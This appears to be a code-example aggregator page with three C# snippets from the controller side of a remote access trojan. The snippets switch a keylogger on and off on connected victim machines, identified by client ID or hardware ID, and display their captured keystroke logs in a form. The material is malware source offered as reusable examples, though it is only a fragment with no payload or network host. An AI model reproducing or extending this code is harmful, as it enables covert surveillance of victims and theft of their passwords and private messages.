Ejemplo n.º 1
0
 public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
 {
     try
     {
         FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
         if (KL != null)
         {
             if (KL.Client == null)
             {
                 KL.Client         = client;
                 KL.timer1.Enabled = true;
             }
             KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
             KL.richTextBox1.Text           = KL.Sb.ToString();
             KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength;
             KL.richTextBox1.ScrollToCaret();
         }
         else
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Pac_ket").AsString = "keyLogger";
             msgpack.ForcePathObject("isON").AsString    = "false";
             client.Send(msgpack.Encode2Bytes());
         }
     }
     catch { }
 }
Ejemplo n.º 2
0
 private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "keyLogger";
             msgpack.ForcePathObject("isON").AsString   = "true";
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
                     if (KL == null)
                     {
                         KL = new FormKeylogger
                         {
                             Name = "keyLogger:" + client.ID,
                             Text = "keyLogger:" + client.ID,
                             F = this,
                             C = client
                         };
                         KL.Show();
                         ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch { }
 }
Ejemplo n.º 3
0
 public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
 {
     try
     {
         if (Program.form1.InvokeRequired)
         {
             Program.form1.BeginInvoke((MethodInvoker)(() =>
             {
                 FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
                 if (KL != null)
                 {
                     KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString());
                 }
                 else
                 {
                     MsgPack msgpack = new MsgPack();
                     msgpack.ForcePathObject("Packet").AsString = "keyLogger";
                     msgpack.ForcePathObject("isON").AsString = "false";
                     client.BeginSend(msgpack.Encode2Bytes());
                 }
             }));
         }
     }
     catch { }
 }